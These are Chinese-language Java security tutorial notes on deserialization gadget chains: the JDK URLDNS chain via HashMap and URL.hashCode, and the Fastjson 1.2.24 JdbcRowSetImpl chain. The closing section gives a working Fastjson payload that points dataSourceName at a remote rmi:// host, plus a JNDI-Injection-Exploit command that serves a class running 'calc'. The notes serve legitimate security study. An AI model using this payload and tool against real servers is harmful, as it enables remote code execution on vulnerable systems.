Web开发-JavaEE应用&原生和FastJson反序列化&URLDNS链&JDBC链&Gadget手搓

知识点：
1、安全开发-JavaEE-原生序列化-URLDNS链分析
2、安全开发-JavaEE-FastJson-JdbcRowSetImpl链分析

利用链也叫"gadget chains"，我们通常称为gadget：
1、共同条件：实现Serializable或者Externalizable接口，最好是jdk自带或者JAVA常用组件里有
2、入口类source：（重写readObject 调用常见函数 参数类型宽泛 最好jdk自带）
3、调用链gadget chain：相同方法名、相同类型
4、执行类sink：RCE SSRF 写文件等等

一、演示案例-WEB开发-JavaEE-原生反序列化&URLDNS链（JDK自带链）

利用链跟踪

java.util.HashMap实现了Serializable接口满足条件后，通过HashMap里面的hash到key.hashCode()，key的转变URL类，再到hashCode为-1触发URLStreamHandler.hashCode
HashMap->readObject
HashMap->putVal(put)        
HashMap->hash
key.hashCode->
URL.hashCode->              
handler.hashCode->
URLStreamHandler.getHostAddress

写利用链

参考：https://mp.weixin.qq.com/s/R3c5538ZML2yCF9pYUky6g

搞清楚入口类，需要修改的值，需要传递的值，
创建一个HashMap泛型，（后续操作URL类即int类型值）
在创建一个url连接，（将要请求的地址写入对应代码的U）
用put方法把url数据存放到里面，触发putVal(hash(key)
其中hash里面会调用key.hashCode()
最终触发点是key，所以我们就需要给key的类型设置成URL类，
通过逻辑让hashCode的值为-1后调用handler.hashCode即URLStreamHandler.hashCode，最终调用里面的getHostAddress实现

二、演示案例-WEB开发-JavaEE-FastJson反序列化&JDBC链（JDK自带链）

参考：https://mp.weixin.qq.com/s/t8sjv0Zg8_KMjuW4t-bE-w

FastJson是啊里巴巴的的开源库，用于对JSON格式的数据进行解析和打包。其实简单的来说就是处理json格式的数据的。例如将json转换成一个类。或者是将一个类转换成一段json数据。Fastjson 是一个 Java 库，提供了Java 对象与 JSON 相互转换。

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>

1、序列化方法

JSON.toJSONString()，对象转换为JSON字符串；
JSON.toJSONBytes()，对象转换为byte数组；

2、反序列化方法

JSON.parseObject()，返回JsonObject；
JSON.parse()，返回Object；
JSON.parseArray(), 返回JSONArray；
将JSON对象转换为java对象：JSON.toJavaObject()；
将JSON对象写入write流：JSON.writeJSONString()；

3、常用

JSON.toJSONString(),JSON.parse(),JSON.parseObject()

4、引出安全-序列化固定类后，反序列化不指定类后

parse方法在调用时会调用set方法

parseObject在调用时会调用set和get方法

5、引出安全-序列化固定类后，反序列化指定类后

parseObject在调用时会调用set方法

6、安全利用链

JDK自带链-JdbcRowSetImpl：
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String payload = "{" +
                "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
                "\"dataSourceName\":\"rmi://xx.xx.xx.xx/xxxx\", " +
                "\"autoCommit\":true" +
                "}";
JSON.parse(payload);

反序列化对象：com.sun.rowset.JdbcRowSetImpl
改动的成员变量：dataSourceName autoCommit

setdataSourceName->getdataSourceName
setautoCommit->connect->DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());

RMI注入：触发RCE
DataSource var2 = (DataSource)var1.lookup("rmi://192.168.1.2:1099/jvelrl");

生成RMI恶意调用类：

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc"